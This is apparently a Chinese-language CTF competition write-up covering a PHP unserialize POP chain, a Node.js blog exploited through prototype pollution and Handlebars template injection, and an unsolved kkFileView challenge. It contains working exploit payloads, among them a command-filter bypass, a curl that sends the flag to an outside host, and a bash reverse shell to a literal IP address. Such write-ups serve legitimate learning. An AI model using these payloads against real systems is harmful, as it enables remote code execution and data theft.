PHP_unserialize_pro

源码如下:

 <?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'welcome';
        public function __construct(){
            $this->name = 'Wh0 4m I?';
        }
        public function __destruct(){
            if($this->name == 'A_G00d_H4ck3r'){
                echo $this->arg;
            }
        }
    }

    class G00d{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
                die("U R A BAD GUY");
            }
            eval($shell($cmd));
        }
    }

    class H4ck3r{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['data']))
        unserialize($_GET['data']);
    else
        highlight_file(__FILE__);
?> 

pop链:welcome->__destruct==>H4ck3r->__tostring==>Good->__invoke
但是rce有过滤,可以用cd /;more \`dir\`或cd /;more \`php -r "echo chr(102).chr(49).chr(97).chr(103);"\`绕过过滤
exp:

$payload = new Welcome();
$payload->name = 'A_G00d_H4ck3r';
$payload->arg = new H4ck3r();
$payload->arg->func = new G00d();
$payload->arg->func->shell = 'system';
$payload->arg->func->cmd = 'cd /;more `dir`';
$ans = urlencode(serialize($payload));
echo $ans;

meow-blog

nodejs的登录漏洞,
用json发包{"username":"admin","password":[0]}来登录admin,至于为什么可以绕我也不知道,想到这个是因为下面这篇文章
一道有趣的关于nodejs的ctf题
后面暂时还没找到类似的文章来了解原理
style是只有admin可以访问,所以猜测漏洞点在这里。在查看post时有handlebars.compile(style ?? ''),网上搜索handerbars发现4.7版本以前有Handlebars模板注入到RCE 0day,尝试了之后好像没用,在package.js里发现"express-handlebars": "^7.0.7",版本刚好错过,后面还找到Handlebars AST注入这篇,说实话没学过AST注入,所以也不知道怎么弄。后面就没什么进展了。

sharedbox

上传一个文件之后可以view,在view可以读到内网的index.html,是kkFileView框架,后面主办方给了hint为kkFileView-2.2.1的漏洞,网上没有找到对应的版本漏洞而且又是在内网。不会,摆烂。

复现

找到一篇meow-blog的wp,2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC
参考wp进行复现,先本地用docker搭环境
2023-10-18T12:49:42.png
用yarn audit分析meow-blog的package.js
2023-10-18T12:52:51.png
collection.js确实扫描出来漏洞
wp里的网址是英文看不懂,自己搜索找到COLLECTION.JS 直到6.8.0 EXTEND 拒绝服务
在middleware里确实调用了collection的extend

collection.extend(true, params, req.body || {})
collection.extend(true, params, req.query || {})

后面handerbars污染allowedProtoMethods来突破版本限制应该也是用这个
文章里污染login里的session来登录admin

req.session.user = {
                username: username,
                id: formerUserRows[0].id,
                style: formerUserRows[0].style
            }
{"username":"123","password":"123","submit":[{"__proto__":{"user":{"id":1,"username":"admin","style":"xxx"}}},"1"]}

2023-10-18T13:05:47.png
成功污染
2023-10-18T13:06:53.png
style路由报错了,所以只能自己构造数据包
文章里的payload,其中"都用\",'都用\',应该是为了防止编码问题。

{"submit":[{"__proto__":{"user":{"id":"c23d123d-e123-444e-a69f-9e69b285473e","username":"admin"},"allowedProtoMethods":{"split": true,"__lookupGetter__": true,"valueOf": true}}},"1"],"style":"{{#with (__lookupGetter__ \"__proto__\")}} {{#with (./constructor.getOwnPropertyDescriptor . \"valueOf\")}} {{#with ../constructor.prototype}} {{../../constructor.defineProperty . \"hasOwnProperty\" ..}} {{/with}} {{/with}} {{/with}} {{#with \"constructor\"}} {{#with split}} {{pop (push \"eval('process.binding(\\'spawn_sync\\').spawn({file:\\'/bin/bash\\',args: [\\'/bin/bash\\',\\'-c\\',\\'curl http://x.x.x.x:4041/`cat /flag`\\'],stdio: [{type:\\'pipe\\',readable:!0,writable:!1},{type:\\'pipe\\',readable:!1,writable:!0},{type:\\'pipe\\',readable:!1,writable:!0}]});');\")}} {{#with .}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../..)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}"}

将其中的curl改成反弹shell,然后访问/posts/:id进行触发,成功弹到shell,搭环境的时候flag没改,所以还是flag{FAKE_FLAG}
还是handerbars的rce漏洞,但是借collection的extend污染了allowProtoMethods参数来突破了版本限制
2023-10-18T13:12:56.png
只能说大佬太强了。orz
然后用下面这个payload打/clearposts也可以反弹shell
{"evil":{"__proto__":{"type":"Program","body":[{"type":"MustacheStatement","path":0,"params":[{"type":"NumberLiteral","value":"process.mainModule.require('child_process').execSync(bash -c 'bash -i >& /dev/tcp/124.221.19.214/2333 0>&1')"}],"loc":{"start":0,"end":0}}]}}}